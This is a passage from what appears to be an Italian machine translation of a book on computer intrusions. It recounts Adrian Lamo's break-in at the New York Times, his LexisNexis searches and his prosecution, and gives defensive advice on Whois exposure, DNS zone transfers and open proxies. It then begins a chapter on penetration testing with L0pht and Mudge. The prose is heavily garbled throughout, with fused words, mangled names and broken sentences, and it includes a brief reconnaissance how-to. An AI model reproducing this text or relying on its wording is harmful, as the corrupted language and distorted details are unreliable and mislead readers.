Okay, inadeguato, forse imperdonabile. Ma anche pes me |'azione
non era solo innocuo, ma divertente. Ho ancoracigiare all'idea di Adrian get
ting una telefonata: "Ciao, signor Lamo? Questos e cosi daNew York
\Volte". E allora é citato in un pezzo, o forse anchiestb di scrivere
600 parole sullo stato di sicurezza del computgualche argomento che corre
il giorno successivo nella pagina op-ed di cartaipiluente del paese.
C'e di piu per la saga di Adriano eNiew York Timesil resto
non é divertente. Non era necessario, non erateas¢ita di Adrian, e
lo ha portato in guai seri. Dopo manomissione pagip-ed data-
elenchi di base, ha scoperto che aveva acce3songli 'abbonamento
a LexisNexis, un servizio online che fa pagare aiglnti per I'accesso al diritto e
informazioni di notizie.
Egli avrebbe istituito cinque conti separati e badotto una grande
numero di ricerche - oltre 3.000, secondo il gogern
Dopo tre mesi di navigazione attraverso LexisNegis il New York
Tempidel tutto ignari che i suoi conti sono stati diatit Adrian finalmente
ritornato al comportamento di Robin Hood che avearatterizzato la sua precedente
attacchi contro altre aziende. Lui si mise in ctintaon un Internet noto
giornalista (come me un ex pirata) e ha spiegatuollizerabilita che aveva
sfruttato che gli ha dato I'accessdNaw York Timesistema informatico -
ma solo dopo l'estrazione di un accordo che ilngibsta non avrebbe pub-
no alcuna informazione circa la break-in primawdrgorima informato la
Tempie attese che avevano risolto il problema.
Il giornalista mi ha detto che quando ha contatilatomes,la conversazione
zione non é andato del tutto il modo in cui siad#idrian era aspettato. Th@nes,
egli disse, non era interessato a quello che agathre loro, non voleva nessuna delle
I'informazione ha offerto, non aveva alcun inteeegparlare direttamente a Adrian
per scoprire i dettagli, e si sarebbe preso cuessib da solo. Leempi
persona non voleva nemmeno sapere che cosa erd stetodo di accesso,
infine accettando di scrivere i dati solo dopo theporter ha insistito.
L'arte dell'intrusione
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Il giornale verificato la vulnerabilita e entro 48 ha avuto la



gap ricucita, dice Adrian. M&mpi 'i dirigenti non erano esattamente prezzamento
ciative di avere il problema di sicurezza chianslta loro attenzione. Il precedente
Hacking per l'attacco Girlies aveva ricevuto urncsadi stampa, e la loro imba-
rassment stato senza dubbio reso ancora peggioéeresponsabili

non sono mai stati catturati. (E non pensare chevhto alcuna relazione con lo
attacco; al momento, sono stato in carcere inatteprocesso.) E ‘'una congettura sicuro che
loro popolo era stato messo sotto un sacco diipresger assicurarsi che

sarebbe mai piu essere vittima di un hacker brea&osi esplosione di Adrian
razione intorno alla loro rete di computer potrebiser ferito alcuni ego e
danneggiato alcuni reputazione, il che spiegherdlgiernale del

atteggiamento intransigente quando si seppe ch&tamapprofittando

della loro generosita non intenzionale per mesi.

Forse iltempisarebbe stato disposto a mostrare apprezzamento pe

essendo il tempo consentito per collegare il big®sno sistema informatico prima
la storia della sua rete spalancata apparso irpstalRorse era solo

guando hanno scoperto I'uso LexisNexis che hancigaldi ottenere hard-

naso. Qualunque sia la ragion@empiautorita hanno preso il passo che nessuno
delle vittime precedenti di Adrian avessero masprédanno chiamato I'FBI.
Diversi mesi dopo, Adrian udi I'FBI stava cercapeo lui e

scomparso. | federali iniziato visitare la famigiamici e colleghi -

stringere le viti e cercando di scoprire se avéssaato alcuna della sua

contatti giornalista sanno dove e stato appesa. filonal concepito

Piano ha portato nel tentativo di citazione notelidarsi giornalisti Adrian

aveva condiviso le informazioni con. "Il gioco", giornalista ha scritto, "ha avuto
improvvisamente trasformato serio. "

Adrian si e dato dopo soli cinque giorni. Per Isaseha scelto

uno dei suoi posti preferiti per esplorare da:al&tcks.

Quando la polvere si era stabilita, un comunictampa messo fuori dall'ufficio del
Stati Uniti procuratore per il Distretto Meridioeadli New York ha dichiarato che

il "gli oneri sostenuti” di AdriatNew York Timeback "é stato [sic]

circa $ 300.000. "La sua freeloading, secondovegao

mento, pari al 18 per cento di tutte le ricerctetefate da LexisNexis

New York Timespiega durante il suo romp sul loro sito.

2

Il governo aveva evidentemente basato questo castotio che il

carica sarebbe per voi 0 me - o chiunque altroncimesia un LexisNexis

abbonati - fare individuale, pay-as-you-go riceralmea tassa che viene scalato
fino a fino a $ 12 per una singola query. Ancheaato che altamente unrea-
modo ragione-, Adrian avrebbe dovuto fare qualchsamile 270 ricerche

ogni giornoper tre mesi per raggiungere una cifra complessieaalta. E poiché grande
organizzazioni come leolte pagano un canone mensile pemitato LexisNexis
accesso, e probabile che non hanno mai pagatontesa®o supplementare per le ricerche di
Adrian.
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Secondo Adrian, iINew York Timespisodio era un‘eccezione in
la sua carriera di hacker. Dice di aver ricevuiegr sia
Excite @ Home e MCI WorldCom (che era ancora paiadopo
hanno confermato che avrebbe potuto effettivamaviee centinaia di dipendenti



trasferimenti-deposito diretto versati a qualchestderazione sotto il suo controllo). Adrian
suoni non amaro, ma semplicemente un dato di aiémdo dice che "Theew

York Timese stato I'unico che voleva vedermi perseguiti ".

A peggiorare le cose per lui, il governo aveva appi@mente qualcuno

come indotto molti dei precedenti vittime di Adridnpresentare dichiarazioni di danni
eta sofferto - tra cui anche alcune aziende cla@éwa ringraziato

per le informazioni fornite. Ma forse questo nosogprendente: A

richiesta di collaborazione da parte dell'FBI audiprocuratore federale non e qual-
cosa maggior parte delle aziende scelgono di igapeache se avevano pensato
diversamente sulla questione fino a quel momento.

La natura unica di competenze di Adrian

Altamente atipico di un hacker, Adrian non e fleemt qualsiasi programmazione
lingua. Il suo successo si basa invece su analiseda gente pensa, come

hanno istituito sistemi, i processi che vengonbzafiti dal sistema e di rete
amministratori di fare architettura di rete. Andeelui stesso si definisce

come avere scarsa memoria a breve termine, scaprerabilita di probabilita

ing applicazioni Web di una societa per trovarecksso alla sua rete, quindi

traina la rete, pazientemente costruire un diagramincome il mentale

pezzi riguardano fino a quando riesce a "matemrafig’ in qualche angolo della rete
lavoro che la societa ha pensato era nascostacessi oscuri della dell'inattivita
accessi- e quindi al sicuro dagli attacchi.

La sua descrizione attraversa il confine con |fpetisito:

Credo che ci sono punti in comune a qualsiasi siateomplesso, sia esso un
computer o l'universo. Noi stessi racchiudere gaiesinmon

nalita come singoli aspetti del sistema. Se e pdsesittenere un subappalta-

senso cosciente di quei modelli, a volte funziorehm favore,

si mettono in posti strani.

[Hacking] e sempre stato per me meno sulla tecrialegiu

di religione.

Adrian sa che se si mette deliberatamente di daymegun tere specifico

stica di un sistema, lo sforzo molto probabilmerda. Con lasciandosi

vagare, guidati principalmente da intuizione, figislove vuole essere.

Adrian non crede il suo approccio € particolarmemtieo, ma lui

riconosce di non aver mai incontrato un altro hacke ha avuto successo in

Da questa parte.
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Uno dei motivi per nessuna di queste aziende, amgtli spesa
e migliaia di dollari per la rilevazione, ha maievato me e che
Non faccio quello che un intruso normale fa. Quahdgosto una rete
sistema aperto al compromesso, osservo che il nmoda dovrebbe essere
fatto. Penso, "Okay, dipendenti accedere alle informaziteniclienti.Se io
era un dipendente, che cosa dovrei chiedere [iesig] di fare? "E 'difficile
[Per il sistema] di distinguere legittimo da attilegittimo
lita perché si sta andando attraverso la stessarfatcia un dipendente
sarebbe. E 'essenzialmente lo stesso traffico.
Una volta che Adrian ha il layout della rete nella testa, "E ‘'meno di guardare
in numeri su uno schermo e piu senso di esserenearta in la, spotting
modelli. E 'un modo di vedere, una vista sullateedlon posso definirlo, ma lo vedo



nella mia testa. Ho notato che cosa vive dove, cairperrela e collega. E

molte volte questo mi porta a quello che alcunistderano incredibile. "

Durante un'intervista con NBC Nightly News a inKinko

Washington, DC, I'equipaggio scherzosamente sfilldt@n provare rottura

nel sistema di NBC. Dice che con le telecameretdlamento, che aveva riservati
ziale dati sullo schermo in meno di cinque minuti.

3

Adrian tenta di avvicinarsi di un sistema sia camealipendente e un outsider
sarebbe. Egli ritiene che la dicotomia raccontsuka intuizione dove andare prossimo.
Fara anche giochi di ruolo, fingendo di se ste$soecun dipendente fuori
completare un incarico specifico, di pensare endage avanti in

modo appropriato. Funziona cosi bene per lui clyefde molto tempo fa fermato
respinge il suo successo inquietante come annaspareo casuali nel buio.
Informazione Facile

Una notte alla stessa Starbucks dove un tempo gwego il caffé con lui,

Adrian ha ottenuto un earful. Era seduto li con tazaa di caffé quando una macchina
tirato su e cinque uomini accatastati fuori. Siestfo a un tavolo vicino, e

ha ascoltato la loro conversazione; diventa suitdente che

erano forze dell'ordine ed era abbastanza siclwdagsero FBI.

Parlarono negozio per circa un'ora, completamengtearo del fatto

che sto seduto li non toccare il mio caffé. Stapadando negozio

parlare - che era piaciuto, che € stato antipatico.

Hanno fatto agente barzellette su come si potreieela potenza di un

agenzia dalle dimensioni del badge esso emessotiAgd'FBI usura molto

piccoli distintivi, mentre come le questioni Pe&c&ame Department

enormi distintivi. Quindi la potenza e in propom@inversa. Pensavano

che e stato divertente.
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Sulla loro via d'uscita, gli agenti hanno dato Adruno sguardo superficiale, come se solo reale
izing il giovane uomo staring in una tazza di cdfegldo potrebbe essere sentito
cose che non dovrebbe avere.
Un'altra volta Adrian e stato in grado, con unagelefonata per scoprire cri-
informazioni iCal su AOL. Mentre i loro sistemi Bbno ben protetti,
lui dice che ha esposto una grave vulnerabilitango ha chiamato I'azienda
che produce e prevede il loro cavo in fibra otthdrian sostiene che era
date tutte le mappe che mostrano dove i cyberipafie di backup cavi di AOL
sono stati sepolti. "Hanno appena assunto chessgeia chiamarli, € necessario
essere giusto per parlare. "Un hacker fuori a cays@blemi avrebbe potuto costare AOL
milioni di dollari in tempi di inattivita e riparaani.
Questo e abbastanza spaventoso. Adrian e io si@oooddo; e la mente-blowing modo per-
ple sono cosi sciolto con le informazioni.
In questi giorni
Nell'estate del 2004, Adrian Lamo é stato condanaatei mesi di casa
parto e due anni di liberta vigilata. La Corte hdimato anche
lui a pagare 65 mila dollari in restituzione alleesittime.
4
Sulla base di earn di Adrian
potenziale e la sua mancanza di fondi ing (eraseaga, al momento, per Dio



sake), questa quantita di restituzione é chiaraenambitiva. Nello stabilire una cifra per
restituzione, il giudice deve prendere in considierze una serie di fattori, tra cui il

del convenuto presente e futura capacita di pagdesperdite effettive suf-

offerta dal sue vittime. Un ordine di restituziamen dovrebbe essere puni-

tiva. A mio parere, il giudice non ha ritenuto raahte la capacita di Adrian di

pagare una grande quantita tale ma probabilmewnée@nimpostare la quantita come un modo di
I'invio di un messaggio, in quanto il caso di Adriastato cosi tanto nelle notizie.

Nel frattempo si sta riabilitando e girando la siia intorno alla sua

proprio. Sta prendendo lezioni di giornalismo incatiege in

Sacramento; sta anche scrivendo articoli per umagie locale e inizio

per fare un po 'di freelance.

Per me, il giornalismo € la migliore carriera hototo scegliere, mentre rimanenti

ing fedele a quello che mi fa spuntare - curiositgglia di vedere le cose

diversamente, vogliono saperne di piu sul mondarind a me.

Gli stessi motivi, come I'hacking.

Adrian €, spero, di essere onesto con se stesso @& quando parla

sulla sua consapevolezza di un nuovo corso ndha vi

Mentirei se dicessi che ho pensato che le persotespero cambiare dall'oggi al domata.
non si puo smettere di essere curiosi durante téenma posso prendere la mia curiosita
ed applicare in un modo che non fa male personehiéese c'e
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una cosa che ho preso da questo processo, € ursapevolezza che ci
sono persone reali che stanno dietro le reti. Noage davvero guardare un computer
intrusione e non pensare alle persone che devanarrere
notti preoccuparsi piu.
Penso che il giornalismo e la fotografia per mesnperficie intellettuale
rogates per la criminalita. Mi hanno fatto esercgda mia curiosita, mi hanno lasciato vedere
cose in modo diverso, mi hanno lasciato persedaingenti in un modo che e
rispettosi della legge.
Ha anche parlato la sua strada in un incaricodres peNetwork
Mondiale. Lo avevano contattato, volendo usarlo come fpeteun
storia; ha lanciato loro I'idea che invece di fana intervista sidebar
con lui, avrebbero lasciato lo scrivere nella béatarale. L'editore di una rivista d'accordo.
Cosi accompagna un pezzo profiling hacker era magoéa lui su profil-
ing amministratori di rete.
Il giornalismo € quello che voglio fare. Mi sentante posso fare una differenza
za, e questo non é qualcosa che si ottiene un shaidavorare in
sicurezzal.a sicurezza € un settore che si basa molto pratetieente su
le paure della gente e le incertezze sui compulaitecnologia.
Il giornalismo & molto di piu della verita.
Hacking & una questione unica ego. Esso compopaténziale per una grande
quantita di potere nelle mani di un singolo indivig potere riservato
per il governo o le grandi imprese. L'idea di quadcadolescente essere
in grado di spegnere la rete elettrica spaventadino fuori del governo.
Dovrebbe.
Lui non si considera un hacker, cracker, o intdis@te. "Se
Posso citare Bob Dylan, 'Non sono un predicatareromesso viaggiatore. Faccio solo
quello che faccio '. Mi rende felice quando la gerdpisce o vuole



capire che. "

Adrian dice che é stato offerto lavori lucrativincomilitari e un
agenzia del governo federale. Li rifiutd. "Un sadtgente

godere del sesso, ma non tutti vogliono fare pezrei. "

Questo € Adrian il purista ... dell'hacker dell'wmpensante.

lo

Nsight

Qualunqgue cosa si pensi circa l'atteggiamentcagitai di Adrian Lamo, mi piacerebbe
che sarete d'accordo con me sul modo in cui i padot federali CAL-
colato il costo del "danno”, ha causato.
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So per esperienza personale quanto i pubblici temisostruire il sostegno
prezzo posto in casi di hacker. Una strategia daydeottenere dichiarazioni
aziende che sovrastimano le loro perdite nellaasyzer di costringere I'hacker a
perorare fuori piuttosto che andare a processovbatato della difesa e la prose-
Cutor poi contrattare un accordo su qualche figuirsore, come la perdita che verra
essere presentata al giudice; secondo le lineadedtkrali, maggiore € la perdita,
piu lungo e il periodo.
In caso di Adrian, il procuratore ha scelto di igare il fatto che il
aziende hanno imparato che erano vulnerabili @glcehi, perché Adrian stesso
detto loro cosi. Ogni volta, ha protetto le azierabmsigliandoli di
la buchi nei loro sistemi spalancata e in attesa & quando non avevano fissato il
I problemi prima che consentito notizia della sothura-in da pubblicare. Sicuro
aveva violato la legge, ma aveva (almeno nel niim)iagito eticamente.
C
OUNTERMEASURES
L'approccio utilizzato dagli aggressori, e favod&aAdrian, di esecuzione di un Whois
query puo rivelare un numero di pezzi di informatijoreziose, disponibile da
le informazioni di rete quattro centri (NIC) chepcono differenti geografica
regioni del mondo. La maggior parte delle inforneazicontenute in queste banche dati sono
pubblici,
a disposizione di chiunque usi un programma ditaiWhois o va a un sito Web che
offre il servizio, ed entra un nome di dominio cony@mes.com.
Le informazioni fornite possono includere il noriedirizzo e-mail, fisicamente
indirizzo cal, e numero di telefono dei contattimmistrativi e tecnici
per il dominio. Queste informazioni potrebbero essgilizzate per l'ingegneria sociale
attacchi (vedi capitolo 10, "ingegneri sociali ho®funzionano e come
per fermarli *). Inoltre, si puo dare un indizioaa il modello per I'e-mail
indirizzi e nomi di login utilizzati dalla societAd esempio, se un
indirizzo di posta elettronica mostrato come, aghgsio, hilda@nytimes.com, questo potrebbe
suggerire la
possibilita che non solo questo dipendente, ma forscerto numero di
Tempimembri del personale potrebbero utilizzare solord nome per l'indirizzo e-mail,
e forse anche per il sign-on.
Come spiegato nella storia di Adribiew York Timeattacco, anche
ricevuto informazioni preziose sulle indirizzi Imhetblocks
assegnato alla societa di giornale, che erano enpildstri della sua aspirazione
attacco moni.



Per limitare la perdita di informazioni, un passgportante per qualsiasi azienda sarebbe
essere elencare i numeri di telefono soltantolgamitralino aziendale, piuttosto che

per gli individui specifici. Receptionist telefonidovrebbero essere sottoposti ad alta intensita
formazione in modo da poter riconoscere rapidamguaado qualcuno sta cercando di fare leva
informazioni su di essi. Inoltre, l'indirizzo poltandicato dovrebbe essere |l

Indirizzo pubblicata della sede aziendale, nowlifinzo di par-

strutture parti-.
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Ancora meglio: Le aziende sono ora autorizzati atereere privato il dominio
Informazioni di contatto Nome - esso non deve gieee elencati come informazioni
a disposizione di chiunque chiede. Su richiestatapione della vostra azienda sara
essere oscurato, rendendo questo approccio picildifber gli attaccanti.
Un altro suggerimento prezioso € stato menzionalla storia: la creazione di un split
orizzonte DNS. Si tratta di stabilire un server DiIN&rno per
risolvere gli hostname sulla rete interna, merdreréazione di un altro
Server DNS esterno che contiene i record per @i bloe vengono utilizzati da
pubblico.
In un altro metodo di ricognizione, un hacker indghera autorevole
| server dei nomi di dominio per imparare la pifattena tipo e il sistema operativo
dei computer aziendali e le informazioni per traceil'obiettivo del
intero dominio. Questa informazione & molto utiéd ecoordinamento un'ulteriore
attacco. Il database DNS puo includere informazitwst (HINFO)
record, perde tale informazioni. Gli amministratdirrete devono evitare
record HINFO pubblicazione in qualsiasi server Da¢8essibile al pubblico.
Un altro trucco degli hacker si avvale di una open@e chiamaté&asferimento di zona
(Anche se senza successo, Adrian dice che hadeqiasto metodo nel suo
attacchi sia suNew York Times Excite @ Home.) per la protezione
di dati, un server DNS primario e di solito configio per consentire altri
server autorevoli permesso di copiare i record [PRSun particolare
dominio. Se il server primario non e stato confegarcorrettamente, un
attacker puo avviare un trasferimento di zona astps computer che lui o lei designa,
e in questo modo ottenere prontamente informazetiagliate su tutti gli host denominati
e la loro associati indirizzi IP del dominio.
La procedura per la protezione contro questo titecco coinvolge solo
consentendo i trasferimenti di zona tra i sistenfiddicia necessario per il business
operazioni. Per essere piu precisi, il server DN@grio deve essere con-
pensato per permettere trasferimenti solo perdesdDNS secondario di fiducia.
Inoltre, una regola firewall di default dovrebbe@® utilizzato per bloccare lI'accesso a
Porta TCP 53 su tutti i name server aziendali. Blura regola firewall
puo essere definito per consentire name servendado di fiducia per la connessione a
La porta TCP 53 e avviare trasferimenti di zona.
Le aziende dovrebbero rendere difficile per un i&enalintenzionato di utilizzare il retro
DNS tecnica di ricerca. Mentre € comodo da usanei dohost che
chiarire cio che l'ospite viene utilizzato per rma@ome database.
CompanyX.com - € ovvio che questo rende ancheggilefper un
intruso individuare sistemi di valore di targeting.
Altri DNS raccolta di informazioni tecniche di ri@a inversa sono
attacchi del dizionario e forza bruta. Ad esemp®il dominio di destinazione é kev-



inmitnick.com, un attacco dizionario sara prefiegni parola nel dizionario
al nome di dominio in forma diictionaryword.kevinmitnick.coma
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individuare altri host all'interno del dominio. Arkza bruta inversa DNS
attacco € molto piu complessa, dove il prefissaaserie di caratteri alfanumerici
caratteri che vengono incrementati un carattere/iés per scorrere
ogni possibilita. Per bloccare questo metodo,rifeseDNS aziendale pud essere
configurato per eliminare i record DNS pubblicaaah qualsiasi host- interna
nomi. E un server DNS esterno puo essere utilizmaaggiunta al inter
una finale, in modo che i nomi degli host interanrsono trapelate a qualsiasi non attendibile
rete. Inoltre, I'uso del nome interno ed estermpasEo
i server aiuta anche con il problema menzionafmrétedenza relativa host-
nomi: Un server DNS interno e protetto visibilitalltesterno
firewall, in grado di usare gli hostname con l'itiiertazione nomi di host, comease di dati,
la ricerca, e il backupcon poco rischio.
Adrian e stato in grado di ottenere informazior@ziose suNew York Times
rete esaminando l'intestazione di una e-mail ritedalla stampa di giornali
per, che ha rivelato un indirizzo IP interno. Glicker volutamente rimbalzano
messaggi e-mail per ottenere questo tipo di infaroma, o setacciare da giornale pubblica
gruppi alla ricerca di messaggi di posta elettramice sono allo stesso modo rivelatrice.
L'intestazione
informazioni in grado di fornire una serie di infmazioni, tra cui la nomina
convenzioni utilizzate internamente, indirizzi tRdrni, e il percorso di una e-mail
messaggio € preso. Per proteggersi da questdeledazdovrebbero configurare
il loro server SMTP (Simple Mail Transfer Protocp#r filtrare qualsiasi inter-
Gli indirizzi IP nali o le informazioni ospitare daessaggi di posta in uscita, pre-
sfiato identificatori interni di essere espostpabblico.
Arma principale di Adrian era il suo dono inteligtte di trovare misconfig-
server proxy rato. Ricordiamo che un utilizzo disemver proxy e quello di consentire agli utenti
sul lato di fiducia della rete di computer di aceexdalle risorse di Internet
sul lato non attendibile. L'utente all'interno &ffi@ una richiesta di par-
pagina Web colare; la richiesta viene inviata ateeproxy, che inoltra
la richiesta da parte dell'utente e passa la fiapodietro all'utente.
Per impedire agli hacker di ottenere informaziaglimodo Adrian fa,
proxy server devono essere configurati per aseoftalo sul inter- interna
faccia. Oppure, invece, possono essere configoeatscoltare solo un autorizzato
elenco degli indirizzi IP esterni attendibili. lme€sto modo, non autorizzato al di fuori
l'utente pud anche collegare. Un errore comuneceekzione di server proxy che
ascolto su tutte le interfacce di rete, compresata interfaccia esterna
collegato a Internet. Invece, il server proxy diwre essere configurato per
consentire solo uno speciale set di indirizzi IB sbhno stati accantonati dal
Internet Assigned Numbers Authority (IANA) per rptivate.
Ci sono tre blocchi di indirizzi IP privati:
10.0.0.0 attraverso 10.255.255.255
172.16.0.0 attraverso 172.31.255.255
192.168.0.0 attraverso 192.168.255.255
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E 'anche una buona idea usare restrizione portinpare i servizi specifici
il server proxy consentira, ad esempio limitandodenessioni in uscita a
HTTP (accesso Web) o HTTPS (accesso Web sicuroulteeiore controllo,
alcuni server proxy che utilizzano SSL (Secure $txckayer) possono essere configurati
esaminare le fasi iniziali del traffico viene intdger confermare che un
protocollo non autorizzato non viene veicolato siparto autorizzato.
Prendendo questi passaggi sara limitare un attecdahcattivo uso del server proxy
per connettersi a servizi non autorizzati.
Dopo l'installazione e la configurazione di un semproxy, che dovrebbe essere testato per
vulnerabilita. Non si sa mai se siete vulneralnlciié non si prova per rezza
fallimenti rezza. Una pedina procura gratuito pageee scaricato da Internet.
5
Un altro elemento: Dal momento che un utente ilzstal pacchetto software puo in qualche
circostanze inconsapevolmente da installare andudtware server proxy, cor-
pratiche di sicurezza porate dovrebbero fornirdapgaprocedura di routine
computer di controllo di server proxy non autorizze possono essere state
installato inavvertitamente. E possibile utilizzévestrumento preferito di Adrian, Proxy Hunter,
per testare la propria rete. Ricordate che un s@noxy configurato correttamente
puo essere il migliore amico di un hacker.
Un gran numero di attacchi di hacker possono esdeceati semplicemente seguendo migliore
pratiche di sicurezza e di esercitare un livelldiigenza. Ma i pericoli di
accidentalmente distribuzione di un proxy apermppo spesso sottovalutato e rappresentanti
inviato un'importante vulnerabilita in un gran numdi organizzazioni. Abbastanza detto?
T
HE
B
OTTOM
L
INE
In qualsiasi campo li trovate, le persone di unatawriginale della mente, per-
ple che sono pensatori profondi e vedere il mowdalifheno una parte di essa) piu
chiaramente di coloro che li circondano sono pe¥s@te la pena incoraggianti.
E, per quelli come Adrian Lamo, la gente del valdireterzo lungo un con-
percorso costruttivo. Adrian ha la capacita di dareontributo significativo. lo
seguira il suo corso con fascino.
N
OTES
1. Consultare il comunicato stampa da parte de¢gmvdegli Stati Uniti a
www.usdoj.gov/criminal/cybercrime/
lamoCharge.htm.
2. Vedere www.usdoj.gov/criminal/cybercrime/lamo@jehtm.
3. Per ulteriori informazioni su questo, vedere wevine-research.org/library/Kevin2.htm.
4. Vedere www.infoworld.com/article/04/07/16/HNlahmme_1.html.
5. Per ulteriori informazioni su questo, vedere weospit.ru/mjt/proxycheck.html.
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Capitolo 6
La saggezza e la follia
di Testing Penetration
L'adagio e vero che i sistemi di sicurezza devanceve ogni volta, il
attaccante deve solo vincere una volta.
- Dustin Dykes
T
hink di una guardia carceraria che assume un espertstudiare il suo istituto di
procedure di sicurezza di tuzione, preoccupatepentuali lacune
potrebbe consentire a un detenuto di scivolard.fUlora societa segue lo stesso
linea di pensiero quando si porta in una dittaairezza per verificare la santita della sua
Reti di siti web e di computer contro le intrusioinvedere se
aggressori assunti possono trovare un modo pedacxai dati sensibili, enter limitato
parti dello spazio ufficio, 0 comunque trovare laeunella sicurezza che potrebbe
mettere l'azienda al rischio.
Per persone nel campo della sicurezza, questiteshdi penetrazioneo, in
gergo, "i test di penna." Le societa di sicurezzm conducono queste esercitazioni sono fre-
vamente composto da (sorpresa, sorpresa) ex h&ckealta, i fondatori
di queste imprese sono spesso essi stessi petseimaicno una vasta degli hacker
credenziali che preferiscono i loro clienti non ascere. Rende
senso che i professionisti della sicurezza tendowenire dalla comunita hacker,
dal momento che un hacker tipica € ben educatoameline e non cosi comune
porte che le aziende lasciano inavvertitamentet@aped loro sanzione interna
spire. Molti di questi ex hacker hanno conosciwa@dando erano adolescenti
che "sicurezza" €, in molti casi, una grave impi@pr
Qualsiasi azienda che ordina un test di pennasgpstta i risultati per confermare
che la loro sicurezza € intatta e perfetta e prtftnabte mettendo se stessi per
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un brusco risveglio. Professionisti del settoreahdurre sicurezza
valutazioni spesso trovano gli stessi vecchi errtgiaziende sono sem-
foglio non esercita sufficiente diligenza nellaetatdella loro mazioni proprietario
sistemi di informazione e informatici.
Le aziende e le agenzie governative ragione comgucalutazione di sicurezza
menti € quello di individuare I'approccio alla siezza in un punto nel tempo. Inoltre,
potevano misurare i progressi dopo il risanamentottk le vulnerabilita che
sono stati identificati. Certo, un test di penatvag € analogo ad un elettrocardiogramma.
Il giorno successivo, un hacker pud rompere inwoaero-day exploit, anche se
I'azienda o agenzia passavano la loro valutaziefia sicurezza a pieni voti.
Quindi, chiede una prova di penna nella speraneggolsa confermare la
organizzazione sta facendo un lavoro bang-up deggere il suo informazioni sensibili
ne é follia. | risultati possono risultare esattateel contrario, come dimostrato
strata dai seguenti racconti - uno per una sodietansulenza, la
altro con una societa biotech.
O
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C
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Non molto tempo fa, alcuni manager e dirigentint grande New England

IT Consulting Firm riuniti nella loro sala confemnhall per incontrare

una coppia di consulenti. Posso immaginare la gdirtecnologia dell'azienda presso la
tavolo deve essere stato incuriosito uno dei cemsulPieter Zatko,

un ex-hacker, noto come "Mudge".

Torna nei primi anni 1990, Mudge e un associatadrato un

assortimento di ragazzi che la pensano a lavonareme in uno spazio angusto in un
Boston magazzino; il gruppo sarebbe diventato um-@tamente rispettato

attrezzatura di sicurezza computer chiamato LOphhgua saldamente in guancia, LOpht Heavy
Industries. (I nome é scritto con un piccolo "Uho zero invece di un

"0", e, in stile hacker, "ph" per il suono di "B;pronunciato

"Loft".) Come l'operazione e cresciuto piu di sigsmee la sua fama si diffuse,

Mudge e stato invitato a condividere la sua conuszeHa tenuto conferenze in luoghi come
scuola strategia dell'esercito americano a Montsuéyema "informazione

zione di guerra "- come ottenere nei computer diemico e di interrompere Ser-
ghiaccia senza essere rilevati, nonché tecnicbestiuzione dei dati e

simili.

Uno degli strumenti piu popolari per gli hackeicdmputer (e talvolta per

persone di sicurezza cosi) € il pacchetto softwhi@mato LOphtCrack. Il

magic questo programma esegue e dato per scortg@@arte di coloro che ne fanno uso, e
Ho il sospetto accuratamente odiato da un gran rudieltri. Il granato gruppo LOpht
I'attenzione dei media nered perché hanno scrittimol (chiamato 10phtCrack) che
rapidamente cracking hash delle password. MudgetemalLOphtCrack e

co-fondato il sito on-line che ha reso il progranmaisponibile per gli hacker e

chiunque altro interessato, in primo libero, painecoperazione di fare soldi.
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Meeting iniziale
La chiamata che LOpht aveva ricevuto dalla so@detnsulenza (che chiameremo
loro "Newton™) € venuto dopo che la societa hastedi aver bisogno di ampliare |l
servizi hanno offerto loro clienti aggiungendo #&pacita di condurre la penna
test. Invece di assumere nuove persone del peesenalcostruzione di un reparto di Grad
dualmente, erano lo shopping per un organismogiséemte che potevano comprare e
portare in-house. All'inizio della riunione, undldesocieta di persone
di cui I'idea sul tavolo: "Vogliamo comprare e fgparte della nostra
. societa "Mudge ricorda la reazione:
Eravamo come, "Beh, ehm, ehm, non si sa nemmeno saadi noi."
Sapevamo che erano veramente interessati in grete palla frenesia dei media
che LOphtCrack stava creando.
In parte per guadagnare tempo mentre si € abitdidtea di vendere l'azienda,
in parte perché non voleva correre negoziati, Mualgecino
con una manovra dilatoria.
Ho detto: "Guarda, non so davvero che cosa si dagdiovato.Come
Su questo - come su per $ 15,000 faremo una pesmsstvo
Test sulla vostra organizzazione? "
Al momento, la LOpht non era nemmeno una socigi@mtration test. Ma ho detto
loro: "Se non sai quali sono le nostre competemz® ssi sta praticamente andando
off della nostra pubblicita. Lei paga us $ 15.08@.non ti piace quello che



si ottiene, allora non c'é bisogno di acquistare pei e sara ancora stato

vale il tempo perché si otterra un buon rapportgdiva penna e ti

avere 15 mila dollari in banca.

"E, naturalmente, se ti piace e siete impression@essa, che abbiamo

aspetti si, allora ti comprarci ".

Hanno detto: "Certo, questo e grande.”

E sto pensando, "Che idioti!"

Per modo di Mudge di pensare, erano "idioti" peretado

andando ad autorizzare la squadra LOpht di entigrioro file e dente

spondenza allo stesso tempo stavano negoziandocarda per acquistare la sua com-
azienda. Lui si aspettava di essere in grado dtigbé sopra le loro spalle.

Regole di base

Consulenti di sicurezza in esecuzione di un tepedna hanno qualcosa in comune con
il vice sotto copertura poliziotti acquistare fagnée un poliziotto in uniforme zona
macchie della transazione e tira la sua pistolag&zzo buoncostume mostra solo il suo
Capitolo 6 La saggezza e la follia di Penetratiestifg
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distintivo. Nessuna preoccupazione di andare miqme. Il consulente di sicurezza assunto per
testare le difese di una societa vuole la stesgazione. Invece di un
distintivo, ogni membro del team pen-test riceva lattera firmata da un com-
azienda esecutivo dicendo, in effetti, "Questo zaga stato ingaggiato per fare un progetto
per noi, e se si cattura lui a fare qualcosa chbsz improprio, €
bene. No sudore. Lascialo andare sul suo lavorbievia un messaggio con
| dettagli. "

Nella comunita di sicurezza, questa lettera € aoatwsda tutti come un "get-out-of-
carta gratis di prigione ". tester Pen tendonoss@iee molto coscienzioso di fare

che essi hanno sempre una copia della letteraotorguando sono o

da nessuna parte vicino la sede della societateliarl caso in cui ottengono

fermato da una guardia di sicurezza che decidettiefe qualche muscolo e impressionare
il piu alto-up con i suoi istinti Gumshoe, o sfidd& un coscienzioso

dipendente infettiva che viene pero intercetta@apsa di sospetto e ha abbastanza gump-
zione per affrontare il tester penna.

In un altro passo normale prima di un test vienaad®, il cliente specifica il

regole di base - quali parti del loro funzionamesitdesidera includere nel test

e quali parti sono off-limits. Questo é solo uraatb tecnico, per vedere se la

tester possono ottenere informazioni sensibiliarao sistemi non protetti o

ottenere oltre il firewall? E una valutazione @glplicazione del fattore pubblicamente
ing sito Web solo, o la rete informatica interndjrdera opera?

Saranno attacchi di ingegneria sociale inclustentativo di ingannare occupazione
SEO nel dare informazioni non autorizzate? Cheiteeddl attacchi fisici,

in cui i tester tentano di infiltrarsi dell'edifaiaggirando la

forza di guardia o scivolare attraverso ingresk dgpendenti-? E come

